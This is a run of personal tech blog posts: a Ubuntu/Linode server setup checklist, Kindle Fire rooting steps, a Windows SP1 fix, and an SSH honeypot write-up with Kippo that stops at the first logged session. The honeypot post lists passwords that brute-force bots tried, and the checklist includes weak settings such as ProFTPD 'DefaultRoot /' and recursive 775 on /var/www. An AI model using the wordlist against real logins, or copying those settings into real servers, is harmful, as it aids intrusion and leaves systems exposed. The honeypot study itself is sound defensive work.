<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJjjvd3qPy3AGkucNBBRXvo6keRPrkv8RykFqO4_Czc7rxamr3dYbLBsSBKwdywTjKIdzvtkvt7zmb87EqSKhWh0zGgKW-QxUchWlN3cTGgyZ6f7LscuzqC2WnKsFQLKt87HxbOg/s1600/20borderlands2.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJjjvd3qPy3AGkucNBBRXvo6keRPrkv8RykFqO4_Czc7rxamr3dYbLBsSBKwdywTjKIdzvtkvt7zmb87EqSKhWh0zGgKW-QxUchWlN3cTGgyZ6f7LscuzqC2WnKsFQLKt87HxbOg/s1600/20borderlands2.png" /></a>Borderlands 2</div>
<div style="font-weight: normal;">
<br /></div>
<div style="font-weight: normal; text-align: left;">
<br /></div>
<div style="font-weight: normal; text-align: left;">
<b>October</b></div>
<div style="font-weight: normal;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYmSwOdSReVUnp9Oxr_YKDq0_dcnfbeGNS263qyJIaOewEfJyycxtvJLbN2qawScfxPKvJ1KLEOsUzyHFBlloIA5V6RkvEXDJSyuLfj4Mg-8pMjAlaDr8m0Njvind16JnI_vGr5A/s1600/21lastguardian.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: left;"><br /></a></div>
<div style="font-weight: normal; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYmSwOdSReVUnp9Oxr_YKDq0_dcnfbeGNS263qyJIaOewEfJyycxtvJLbN2qawScfxPKvJ1KLEOsUzyHFBlloIA5V6RkvEXDJSyuLfj4Mg-8pMjAlaDr8m0Njvind16JnI_vGr5A/s1600/21lastguardian.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYmSwOdSReVUnp9Oxr_YKDq0_dcnfbeGNS263qyJIaOewEfJyycxtvJLbN2qawScfxPKvJ1KLEOsUzyHFBlloIA5V6RkvEXDJSyuLfj4Mg-8pMjAlaDr8m0Njvind16JnI_vGr5A/s1600/21lastguardian.png" /></a>The Last Guardian</div>
<div style="font-weight: normal;">
<br /></div>
<div style="font-weight: normal; text-align: left;">
<b><br /></b></div>
<div style="font-weight: normal; text-align: left;">
<b>November</b></div>
<div style="font-weight: normal;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU3vN3ytClm747aWGEeS_W3N9Xg1-d9pWL70uKdEaXJIrs1z5WFm7Q_uFw_BRKuyyrci7cJYK3S2OTlaC8ZhKH54V6KoWTfLczinPLILZz5uHpqDhWNDbpJN0p8RhcE5EdlqG4jA/s1600/22lollipop.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: left;"><br /></a></div>
<div style="font-weight: normal; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU3vN3ytClm747aWGEeS_W3N9Xg1-d9pWL70uKdEaXJIrs1z5WFm7Q_uFw_BRKuyyrci7cJYK3S2OTlaC8ZhKH54V6KoWTfLczinPLILZz5uHpqDhWNDbpJN0p8RhcE5EdlqG4jA/s1600/22lollipop.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU3vN3ytClm747aWGEeS_W3N9Xg1-d9pWL70uKdEaXJIrs1z5WFm7Q_uFw_BRKuyyrci7cJYK3S2OTlaC8ZhKH54V6KoWTfLczinPLILZz5uHpqDhWNDbpJN0p8RhcE5EdlqG4jA/s1600/22lollipop.png" /></a>Lollipop Chainsaw</div>
<div style="font-weight: normal; text-align: left;">
<b><br /></b></div>
<div style="font-weight: normal; text-align: left;">
<b>December</b></div>
<div style="font-weight: normal;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLXml1B26OUHV2fa6P3BHa7V6exA6MMYmxmGe4Ypx9Wg9NNZT_MMS8ugwtO1rQCWT5Z6icx2rcoivKcZXNBdy5GEm4IZbLoaWrlrLQetvAG_Kz0C87MHpuPKVDyU-FFJxQWmcLCA/s1600/23gta5.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: left;"><br /></a></div>
<div style="font-weight: normal; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLXml1B26OUHV2fa6P3BHa7V6exA6MMYmxmGe4Ypx9Wg9NNZT_MMS8ugwtO1rQCWT5Z6icx2rcoivKcZXNBdy5GEm4IZbLoaWrlrLQetvAG_Kz0C87MHpuPKVDyU-FFJxQWmcLCA/s1600/23gta5.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLXml1B26OUHV2fa6P3BHa7V6exA6MMYmxmGe4Ypx9Wg9NNZT_MMS8ugwtO1rQCWT5Z6icx2rcoivKcZXNBdy5GEm4IZbLoaWrlrLQetvAG_Kz0C87MHpuPKVDyU-FFJxQWmcLCA/s1600/23gta5.png" /></a>Grand Theft Auto V</div>
<div class="separator" style="clear: both; font-weight: normal; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhPOBKQ6psRxUmqnwAPRPg5nEgXT5p34iVvfHkbg0SVX6sQ3hqVUGuPpOINFfnu5c2QjL0YZ709pNPE2kj4YRHH-rAj9DUfgU8cQrDRHzTuTxjx9zMhUStIFXGw9PQzxrLsyn-Jg/s1600/24bioshocki.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhPOBKQ6psRxUmqnwAPRPg5nEgXT5p34iVvfHkbg0SVX6sQ3hqVUGuPpOINFfnu5c2QjL0YZ709pNPE2kj4YRHH-rAj9DUfgU8cQrDRHzTuTxjx9zMhUStIFXGw9PQzxrLsyn-Jg/s1600/24bioshocki.png" /></a>BioShock Infinite</div>
<div class="separator" style="clear: both; font-weight: normal; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd_u3pRqJML8dEn09KCiavzfDLx0qn6FpDj1AvAkylby5dv1zRyDUS_n0j5f-sj1KNFtPq5J_VhmGmsoIysjT7RA7BVe9Pn294hERqe6L6iXscliNJZKmYixKWIqipVNwsV7CHGg/s1600/25doom4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: left;"><br /></a></div>
<div style="font-weight: normal; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd_u3pRqJML8dEn09KCiavzfDLx0qn6FpDj1AvAkylby5dv1zRyDUS_n0j5f-sj1KNFtPq5J_VhmGmsoIysjT7RA7BVe9Pn294hERqe6L6iXscliNJZKmYixKWIqipVNwsV7CHGg/s1600/25doom4.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd_u3pRqJML8dEn09KCiavzfDLx0qn6FpDj1AvAkylby5dv1zRyDUS_n0j5f-sj1KNFtPq5J_VhmGmsoIysjT7RA7BVe9Pn294hERqe6L6iXscliNJZKmYixKWIqipVNwsV7CHGg/s1600/25doom4.png" /></a>Doom 4</div>
<div style="font-weight: normal; text-align: left;">
<br /></div>
<div style="font-weight: normal; text-align: left;">
<h3>
Indie games, small titles</h3>
</div>
<div style="font-weight: normal; text-align: left;">
Journey</div>
<div style="font-weight: normal; text-align: left;">
XCOM: Enemy Unknown</div>
<div style="font-weight: normal; text-align: left;">
Monaco</div>
<div style="font-weight: normal; text-align: left;">
The Witness</div>
<div style="font-weight: normal; text-align: left;">
Firefall</div>
<div style="font-weight: normal; text-align: left;">
Cube World</div>
<div style="font-weight: normal; text-align: left;">
Overgrowth</div>
<div style="font-weight: normal; text-align: left;">
Path of Exile</div>
<div style="font-weight: normal; text-align: left;">
Grim Dawn </div>
<div style="font-weight: normal; text-align: left;">
Starfarer </div>
<div style="font-weight: normal; text-align: left;">
Legend of Grimrock </div>
<div style="font-weight: normal; text-align: left;">
Torchlight II </div>
<div style="font-weight: normal; text-align: left;">
Survivors of Ragnarok </div>
<div style="font-weight: normal; text-align: left;">
Project Zomboid </div>
<div style="font-weight: normal; text-align: left;">
Masters of the Broken World </div>
<div style="font-weight: normal; text-align: left;">
Warlock: Master of the Arcane </div>
<div style="font-weight: normal; text-align: left;">
A Game of Dwarves </div>
<div style="font-weight: normal; text-align: left;">
Jagged Alliance</div>
<div style="font-weight: normal; text-align: left;">
Castle Story</div>
<div style="font-weight: normal; text-align: left;">
Retro City Rampage</div>
<div style="font-weight: normal; text-align: left;">
<b><br /></b></div>
<div style="font-weight: normal; text-align: left;">
<h3>
2013...</h3>
</div>
<div style="font-weight: normal; text-align: left;">
The Last of Us</div>
<div style="font-weight: normal; text-align: left;">
XCOM</div>
<div style="font-weight: normal; text-align: left;">
StarCraft II: Heart of the Swarm</div>
<div style="font-weight: normal; text-align: left;">
Metro: Last Light</div>
</div>Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-56709915257960632432011-12-18T16:38:00.000+01:002011-12-18T16:38:15.204+01:00Oneiric / Linode Server Migration<p>Sigh... I'm sorry, Slicehost, but I'm leaving you. I've been a long (and very happy) Slicehost customer for the past few years. The service offered was perfect for anyone knowing their way around SSH, Linux administration and setting up a server -- and all that for just 30 bucks a month. Nothing bad can be said about the Slicehost developers either: their support has been excellent, the uptime of their servers near-perfect, and their tutorials and guides well-written. I've ran MySQL and web servers, wiki's, proxy's, game hosts and much more on my little slice. I even used it as a <a href="http://blog.macuyiko.com/2011/03/running-ssh-honeypot-with-kippo-lets.html">honeypot</a>.</p>
<p>But then, a sudden announcement changed everything. In 2008 (such a long time, already!) Slicehost told the world that they had been acquired by Rackspace. Since then, I've become more and more frustrated with Rackspace's need to shove buzzwords, confusing plans and general overdone "enterprisiness" up my throat. Try to find out how much a <a href="http://www.rackspace.com/cloud/cloud_hosting_products/servers/pricing/">new slice</a> will cost you... exactly. Compare this new look with the <a href="http://web.archive.org/web/20080603231902/http://www.slicehost.com/">old Slicehost landing page</a>. The old page was simple, easy, beautiful. The new pricing gives the impression that you're bringing 20 consultants on board.</p>
<p>I don't have anything against acquirements in general, but the Rackspace takeover has been particularly confusing for end-users, with DNS service moving to Rackspace (free?), lower bandwidth allowances (huh?), servers moving datacenters (why?), changes in Slice sizes, and a requirement to migrate to Rackspace in 2012 (what does this mean? Just leave me be!)</p>
<p>Since I'm not charmed by Rackspace's way of handling things (I'm sure they're nice people though), I'm moving to <a href="http://www.linode.com/">Linode</a>. With easy to understand pricing, a clean dashboard (with all the same features as Slicehost) and not too much fluff to get in your way, it's a perfect solution for the hobbyist hacker. Even better: Linode also <a href="http://journal.uggedal.com/vps-performance-comparison/">outperforms the competition</a> performance-wise, although the linked benchmark is a bit old, and I've never had complaints with Slicehost in this regard.</p>
<p>The reason why I've been putting off the move is because it involves setting up a new server (easy), configuring it exactly as you want (difficult), and making sure everything is migrated correctly (ugh). There's always one little configuration directive, file, or database table which is forgotten during the process.</p>
<p>The steps below serve as a reminder, mainly aimed at my (future) self, for setting up an Ubuntu (Oneiric) server. I'm looking forward to seeing how Linode performs...</p>
<h2>1. Install Ubuntu</h2>
<h2>2. Edit /etc/apt/sources.list and update</h2>
<code style="background-color: #eee;">apt-get update<br />
apt-get upgrade</code>
<h2>3. Enable the root account</h2>
<code style="background-color: #eee;">sudo passwd root</code>
<p>And give root a password. Afterwards we become root by running:</p>
<code style="background-color: #eee;">su</code>
<h2>4. Synchronize the system clock</h2>
<p>Synchronize the system clock with an NTP server over the internet. (You can
also install this via the Time and Date Preferences GUI.</p>
<code style="background-color: #eee;">apt-get install ntp ntpdate</code>
<h2>5. Install the SSH server</h2>
<p>Install OpenSSH by default.</p>
<code style="background-color: #eee;">apt-get install ssh openssh-server</code>
<h2>6. Configure the network</h2>
<p>A server should have a static IP address; edit /etc/network/interfaces:</p>
<code style="background-color: #eee;">#This file describes the network interfaces available on your system<br />
# and how to activate them. For more information, see interfaces(5).<br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
# The primary network interface<br />
auto eth0<br />
iface eth0 inet static<br />
address 192.168.0.100<br />
netmask 255.255.255.0<br />
network 192.168.0.0<br />
broadcast 192.168.0.255<br />
gateway 192.168.0.1</code>
<p>Then restart your network:</p>
<code style="background-color: #eee;">/etc/init.d/networking restart</code>
<p>Then edit /etc/hosts:</p>
<code style="background-color: #eee;">127.0.0.1 localhost.localdomain localhost<br />
192.168.0.100 server1.example.com server1<br />
<br />
# The following lines are desirable for IPv6 capable hosts<br />
::1 ip6-localhost ip6-loopback<br />
fe00::0 ip6-localnet<br />
ff00::0 ip6-mcastprefix<br />
ff02::1 ip6-allnodes<br />
ff02::2 ip6-allrouters<br />
ff02::3 ip6-allhosts</code>
<p>Now run:</p>
<code style="background-color: #eee;">echo server1.example.com > /etc/hostname</code>
<p>Reboot the system:</p>
<code style="background-color: #eee;">reboot</code>
<p>Afterwards, run:</p>
<code style="background-color: #eee;">hostname<br />
hostname -f</code>
<p>Both should show your chosen hostname.</p>
<h2>7. Add users</h2>
<p>Add some users. Adding a "webmaster" is recommended:</p>
<code style="background-color: #eee;">sudo useradd -d /home/webmaster -m webmaster<br />
sudo passwd webmaster<br />
# Set /bin/bash as shell<br />
# Edit /etc/sudoers<br /></code>
<h2>8. MySQL</h2>
<p>Install MySQL. You will be asked for a root password.</p>
<code style="background-color: #eee;">apt-get install mysql-server mysql-client</code>
<p>We keep bind-address = 127.0.0.1 in /etc/mysql/my.cnf.</p>
<h2>9. Postfix for SMTP support</h2>
<code style="background-color: #eee;">apt-get install postfix procmail</code>
<p>You will be asked two questions. Answer as follows:</p>
<code style="background-color: #eee;">General type of configuration? <-- Internet Site<br />
Mail name? <-- server1.example.com</code>
<p>Run:</p>
<code style="background-color: #eee;">dpkg-reconfigure postfix</code>
<p>Again, you'll be asked some questions:</p>
<code style="background-color: #eee;">General type of configuration? <-- Internet Site<br />
Where should mail for root go <-- [blank]<br />
Mail name? <-- server1.example.com<br />
Other destinations to accept mail for? (blank for none) <-- server1.example.com, localhost.example.com, localhost.localdomain, localhost<br />
Force synchronous updates on mail queue? <-- No<br />
Local networks? <-- 127.0.0.0/8<br />
Use procmail for local delivery? <-- Yes<br />
Mailbox size limit <-- 0<br />
Local address extension character? <-- +<br />
Internet protocols to use? <-- ipv4</code>
<p>Next:</p>
<code style="background-color: #eee;">postconf -e 'inet_interfaces = loopback-only'</code>
<p>We do not create certificates any more. Only using postfix as a local-only SMTP handler. IMAP and others not handled with Google Apps.</p>
<p>Restart Postfix:</p>
<code style="background-color: #eee;">/etc/init.d/postfix restart</code>
<h2>10. Apache/PHP5</h2>
<h3>11.1. Installation</h3>
<code style="background-color: #eee;">apt-get install apache2 apache2-mpm-prefork apache2-utils ssl-cert</code>
<p>Install PHP5:</p>
<code style="background-color: #eee;">apt-get install libapache2-mod-php5 php5 php5-common php5-curl php5-dev php5-gd php5-idn php-pear php5-imagick php5-imap php5-json php5-mcrypt php5-memcache php5-mhash php5-ming php5-mysql php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl</code>
<p>Edit /etc/apache2/mods-available/dir.conf:</p>
<code style="background-color: #eee;"><IfModule mod_dir.c> <br />
#DirectoryIndex index.html index.cgi index.pl index.php index.xhtml <br />
DirectoryIndex index.html index.htm index.shtml index.cgi index.php index.xhtml<br />
</IfModule></code>
<p>Now we have to enable some Apache modules: </p>
<code style="background-color: #eee;">a2enmod ssl<br />
a2enmod rewrite<br />
a2enmod suexec<br />
a2enmod status<br />
a2enmod include</code>
<p>Reload the Apache configuration: </p>
<code style="background-color: #eee;">/etc/init.d/apache2 force-reload</code>
<p>Don't forget to edit php.ini.</p>
<h3>11.2. Adding subdomains</h3>
<p>You can add sites to /etc/apache2/sites-enabled, use the following example
configuration file:</p>
<code style="background-color: #eee;"><VirtualHost *><br />
ServerAdmin info@sitename.com<br />
ServerName sitename.com <br />
ServerAlias *.sitename.com<br />
<br />
DocumentRoot /var/www/sitename.com/<br />
<br />
<Directory /><br />
Options FollowSymLinks<br />
AllowOverride All<br />
</Directory><br />
<br />
<Directory /var/www/sitename.com/><br />
Options Indexes FollowSymLinks MultiViews<br />
DirectoryIndex index.html index.htm index.php index.php3<br />
AllowOverride All<br />
Order allow,deny<br />
allow from all<br />
</Directory><br />
<br />
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/<br />
<Directory "/usr/lib/cgi-bin"><br />
AllowOverride None<br />
Options ExecCGI -MultiViews +SymLinksIfOwnerMatch<br />
Order allow,deny<br />
Allow from all<br />
</Directory><br />
<br />
ErrorLog /var/log/apache2/error.log<br />
<br />
# Possible values include: debug, info, notice, warn, error, crit,<br />
# alert, emerg.<br />
LogLevel warn<br />
<br />
CustomLog /var/log/apache2/access.log combined<br />
ServerSignature On<br />
<br />
#Alias /doc/ "/usr/share/doc/"<br />
<br />
</VirtualHost></code>
<p>Don't forget to edit the default virtualhost with a NameVirtualHost * and AllowOverride All.</p>
<h2>12. Proftpd</h2>
<p>Install Proftpd:</p>
<code style="background-color: #eee;">apt-get install proftpd ucf</code>
<p>You will be asked a question:</p>
<p><code style="background-color: #eee;">Run proftpd from inetd or standalone? <-- standalone</code></p>
<p>Now edit /etc/proftpd/proftpd.conf:</p>
<code style="background-color: #eee;">[...]<br />
DefaultRoot /<br />
UseIPv6 off<br />
[...]</code>
<p>Then restart Proftpd:</p>
<code style="background-color: #eee;">/etc/init.d/proftpd restart</code>
<h2>13. PHPMyAdmin</h2>
<p>Install PHPMyAdmin:</p>
<code style="background-color: #eee;">apt-get install phpmyadmin</code>
<p>Pick apache2 to configure.</p>
<h2>14. Secure SSH a bit</h2>
<p>Edit /etc/ssh/sshd_config:</p>
<code style="background-color: #eee;">Port 4444 #Other than 22<br />
PermitRootLogin no #Make sure other user can login/sudo</code>
<h2>15. Set /var/www permissions</h2>
<code style="background-color: #eee;">chown -R webmaster:www-data /var/www<br />
chmod 775 -R /var/www</code>
<h2>16. Install slowloris protection</h2>
<code style="background-color: #eee;">apt-get install gcc apache2-threaded-dev<br />
wget https://gist.github.com/raw/773464/4e7250692c34f55725384525b513e71be7541f5a/mod_muantiloris.c<br />
apxs2 -a -i -c mod_muantiloris.c<br />
/etc/init.d/apache2 restart</code>
<p>Edit /etc/apache2/httpd.conf:</p>
<code style="background-color: #eee;">ExtendedStatus On<br />
<IfModule mod_limitipconn.c><br />
IPReadLimit 5<br />
IPPostLimit 10<br />
</IfModule></code>
<h2>17. Install fail2ban</h2>
<code style="background-color: #eee;">apt-get install fail2ban</code>
<p>Don't forget to configure a jail.local and add custom filters if needed.</p>
<h2>18. Final migration</h2>
<p>Move user files, virtualhost configurations, /var/www. Backup mysql data bases.</p>
<p>Install openjdk-6-jre, davmail if needed.</p>
<p>Backup script:</p>
<code style="background-color: #eee;">tar cvpzf backup.tgz --exclude=/proc --exclude=/lost+found --exclude=/mnt --exclude=/sys --exclude=/dev --exclude=/usr --exclude=/bin --exclude=/sbin --exclude=/backup.tgz /</code>Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-57144042519460741152011-12-10T15:10:00.001+01:002011-12-10T15:21:34.401+01:00Rooting Kindle FireThe following overview is just a reminder, mainly aimed at myself in the future, on how to root the kindle fire.<br />
<br />
<b>1. Install Android SDK</b><br />
<br />
<ul>
<li>Download from http://developer.android.com/sdk/index.html</li>
<li>Update packages</li>
</ul>
<br />
<b>2. In Kindle: “Allow Installation of Applications From Unknown Sources”</b><br />
<br />
<b>3. Edit "android_winusb.inf" in "usb_driver" in Android install path</b><br />
<br />
<ul>
<li>Copy and paste right beneath [Google.NTx86] and [Google.NTamd64] line:</li>
</ul>
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">;Kindle Fire<br />%SingleAdbInterface% = USB_Install, USB\VID_1949&PID_0006<br />%CompositeAdbInterface% = USB_Install, USB\VID_1949&PID_0006&MI_01</span></blockquote>
<br />
<b>4. Edit "adb_usb.ini" in ".android"</b><br />
<br />
<ul>
<li>Add 0x1949</li>
</ul>
<br />
<b>5. Update USB driver</b><br />
<br />
<ul>
<li>“Update Driver Software” in Device Manager with "android_winusb.inf"</li>
</ul>
<br />
<b>6. (Optional) test USB</b><br />
<br />
<ul>
<li>In "platform-tools", issue "adb kill-server" and "adb devices"</li>
</ul>
<br />
<b>7. SuperOneClick root</b><br />
<br />
<ul>
<li>Download from ftp://shortfuse.org/SuperOneClick/Packages/SuperOneClickv2.2-ShortFuse.zip</li>
</ul>
<br />
<b>8. Get "Root Explorer v2.17.1.apk" and "Vending.3.3.12.apk", together with Google Services Framework apk</b><br />
<br />
<b>9. Finalisation</b><br />
<br />
<ul>
<li>Install Google Service Framework apk and Root Explorer apk</li>
<li>“Move” Vending apk to “/system/app" with Root Explorer</li>
<li>Mount as RW and set Vending apk filepermissions to rw-r–r–</li>
<li>Install Vending apk and reboot</li>
</ul>
<br />
<br />
<br />
<br />
<br />
<br />
<br />Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-21309612772914700652011-07-30T18:29:00.001+02:002011-07-30T18:29:40.150+02:00Solving Color Problem In DirectDraw Games Updated Again<br />
Just a quick note to mention that I've cleaned up <a href="http://blog.macuyiko.com/2009/07/solving-color-problem-red-grass-purple.html">my blog post from 2009</a> once again. The PalettestealerSuspender program has been significantly updated. Usage instructions and downloads (including the older version if you so prefer and full source code) have been moved to <a href="http://blog.macuyiko.com/p/palettestealersuspender.html">a separate blog page</a>, which helps to keep things clean in the original post.<br />
Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-78213360988636940632011-03-27T00:07:00.000+01:002011-03-27T00:07:07.332+01:00Quick Fix: Windows 7 Service Pack 1 Error 80073701If your Windows 7 service pack upgrade is failing with error code 80073701, you might be able to fix it with the following steps. I've had to search around quite a bit before resolving this error, mainly because I saw the first and second solutions listed below pop up everywhere, but it was the third solution that actually fixed the problem for me in the end.<br />
<h1>
Solution 1: reset Windows Update components (you've probably done this already)</h1>
Download the Fix It tool from <a href="http://support.microsoft.com/kb/971058/en-us">this Microsoft KB article</a> and run it. Afterwards, restart your computer and try installing SP1 again.<br />
<h1>
Solution 2: run the System Update Readiness Tool (you've probably done this, too)</h1>
The tool can be downloaded from <a href="http://support.microsoft.com/kb/947821/en-us">this Microsoft KB article</a>. Make sure to download the correct version. Note that the updates installed by this tool might take a <i>long</i> time to complete. It will appear as if the installation process is stuck. Don't worry, as the progress bar might go from zero to hundred per cent in an instant, just be patient. Afterwards, restart your computer and try installing SP1 again.<br />
<h1>
Solution 3: check out the logs and run lpksetup (this might be new)</h1>
Still no dice? Then check the logs at <code>c:\Windows\Logs\CBS\CheckSUR.log</code> and/or <code>c:\Windows\Logs\CBS\CheckSUR.persist.log</code>. These will give you more detailed information about the error. For me, and for <a href="http://superuser.com/questions/249641/error-80073701-when-installing-windows-7-service-pack-1">this user</a> at superuser.com, the culprit was a language pack.<br />
<br />
However, contrary to the user mentioned above, I am not using a language other than the default English, and cannot recall ever installing one. I ignored the language pack problem (as re-installing a language pack was not an option for me) until I learned about the Language Pack Setup Tool. Just run <strong><code>lpksetup.exe</code></strong> from your Start Menu. A window will pop up asking you if you want to install or uninstall a language pack. Pick uninstall. Sure enough, a list of languages was presented: English (the in use, default and system language), and some other language (Portuguese or Spanish, I can't remember) with a yellow danger sign marking that it was in a broken state. Very strange indeed. After selecting the language for removal and pressing next, the situation was promptly resolved. Deinstalling the language took just a few seconds, probably because no language files were actually present on the disk.<br />
<br />
Anyway, after this small operation, installing SP1 went smoothly.<br />
<br />
<br />Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.com9tag:blogger.com,1999:blog-21390211.post-34648419893770769382011-03-10T01:15:00.000+01:002013-04-17T09:59:20.296+02:00Running A SSH Honeypot With Kippo: Let's Catch Some Script Kiddies<h1>Introduction</h1>
<p>While exploring <a href="http://www.fail2ban.org/">Fail2Ban</a> during one of my <a href="http://blog.macuyiko.com/2011/01/slowloris-and-mitigations-for-apache.html">previous posts</a>, it amazed me how many break-in attempts I received, trying to brute force passwords on the SSH daemon. To recap, Fail2Ban does this:</p>
<blockquote>
<p>Fail2ban scans log files like
/var/log/pwdfail or
/var/log/apache/error_log and bans IP
that makes too many password failures.
It updates firewall rules to reject
the IP address.</p>
</blockquote>
<p>There are many articles (<a href="http://thinkhole.org/wp/2006/10/30/five-steps-to-a-more-secure-ssh/">this</a> is one of them) on the web which describe how you can harden your SSH server, like preventing root logins, to give an example. After getting one Fail2Ban warning after another, I decided to also move my SSH server to another port. And lo and behold, the attacks stopped almost completely. This is an example of security through obscurity, of course, but it shows that most of the attacks are performed by bots or script kiddies who don't look further than port 22, so why not implement this simple chance.</p>
<p>Of course, now port 22 was free to do something else...</p>
<h1>Enter Kippo</h1>
<p>Around this time (a few months ago), I also came across a program called <a href="http://code.google.com/p/kippo/">Kippo</a>:</p>
<blockquote>
<p>Kippo is a medium interaction SSH honeypot
designed to log brute force attacks and,
most importantly, the entire shell interaction
performed by the attacker.</p>
</blockquote>
<p>Kippo is written in Python and pretty easy to install (the required dependencies are all listed on the homepage). The only thing which needs a bit of setting up is getting Kippo to listen to port 22 (we want our honeypot to catch as much as possible). <a href="http://code.google.com/p/kippo/wiki/MakingKippoReachable">This wiki page</a> describes how to do just that.</p>
<p>Kippo does not need much <a href="http://code.google.com/p/kippo/wiki/KippoOnLinux">setting up</a>, and comes with a lot of Linux commands re-implemented (like wget, adduser, apt-get). The most important thing to do is to take look at <code>kippo.cfg</code> and to create the simulated file system using <code>utils/createfs.py</code>.
You can also easily add other commands if you're know what you're doing (take a look in <code>txtcmds/</code> and <code>kippo/commands/</code>).</p>
<p>After waiting for a week, I examined the logs to find out which passwords were used to try to login at the honeypot. By default, Kippo only comes with one root password it will accept ("123456"), but you can use the <code>utils/passdb.py</code> script to add more. I added these most commonly tried passwords:</p>
<ul>
<li>aditzul92</li>
<li>admin1</li>
<li>enter</li>
<li>fuckoff</li>
<li>god</li>
<li>lacramioara</li>
<li>letmein</li>
<li>linux</li>
<li>love</li>
<li>passwd</li>
<li>r00t</li>
<li>rootroot</li>
<li>secret</li>
<li>sex</li>
<li>snickhacklol123</li>
<li>test</li>
<li>070790</li>
<li>123456</li>
<li>1q2wazsx</li>
<li>administrator</li>
<li>dragon</li>
<li>fuck</li>
<li>manager</li>
<li>monkey</li>
<li>p0p0c@t3p3tldiej</li>
<li>password</li>
<li>q1w2e3r4</li>
<li>root1</li>
<li>swordfish</li>
</ul>
<p>It's well known that brute force programs use so called wordlists which contain the most common passwords to try and break in into a server. If you notice that one of your used passwords is present in the list above, I would strongly suggest to change it. Then, I waited...</p>
<h1>A few months later</h1>
<p>When looking at my logs now, I've had thousands of break-in attempts, hundreds of which "succeeded". The interesting thing about Kippo is that it actually logs the shell session of the hacker. These shell sessions can be divided into three categories:</p>
<ol>
<li>People who immediately leave once they're logged in, probably to come back later or just take note that this server is indeed available.</li>
<li>People who do some basic fingerprinting of the server, using <code>w</code>, <code>/proc/cpuinfo</code>, <code>uptime</code> and <code>uname -a</code> to figure out the basics of the server. Most hackers also used <code>wget</code> to download a large file to test the download rate of the server. Funnily enough, this was almost always the Windows 2000 SP3. Probably because it's (a) a large file and (b) hosted by a server you know is fast (Microsoft) and (c) is one of the few files on Microsoft's website which is still hotlinkable.</li>
<li>People who performed some fingerprinting and proceeded to download and extract malware. Here Kippo intercepted the attempts to run executables and showed some bogus error messages, after which the hackers disconnected.</li>
</ol>
<p>Viewing the logs allows for some interesting observations:</p>
<ul>
<li>Most of the attempts aren't thorough. Most hackers quickly move on when an attempt seems to fail.</li>
<li>The tools used have been repacked and rewritten multiple times. Most of the tools are outdated, contain leftover files from previous installations or attempts, or contain weak attempts at automation shell scripts (with even sillier ASCII art).</li>
<li>The main reasons for hacking a server seems to be: (a) installing tools to hack more servers, (b) installing hidden web servers, (c) installing IRC daemons or bouncers, (d) installing IRC bots. Surprisingly, almost none of the hackers tried to completely nuke the system.</li>
<li>A few hackers spotted that a honeypot was in place. Most did not, despite the fact that Kippo is sometimes very blatant about this fact, by taunting with fake error messages.</li>
<li>It seems that the hackers (I actually mean "script kiddies" whenever I say "hackers") are following some kind of memorized script. Most of the attempts used to exact same fingerprinting and tried to execute the exact same tools. It makes one wonder if there's a "SSH hacking school" out there somewhere. More realistically speaking, there probably is a "hacking tutorial" on a forum somewhere showing which commands you have to execute.</li>
</ul>
<h1>A look at some attempts</h1>
<p>Let's look at some of the shell sessions, shall we? I wanted to show an exact replay of the terminal sessions (like the demos on the <a href="http://code.google.com/p/kippo/">Kippo homepage</a>, but this proved to be too difficult. (Kippo's log files are not easily read, and while I did code up a conversion tool and the basics of a Javascript replaying script, it underperformed on browsers other than Chrome, and I decided it was not worth further effort).</p>
<h2>First example</h2>
<p>This attempt shows some of the basic fingerprinting performed by the hackers, and Kippo's faked response. Afterwards, the hacker tries to download an IRC bot. Kippo taunts with an "O RLY" message.</p>
<pre><code class="prettyprint" style="height: 300px;">server:~# w
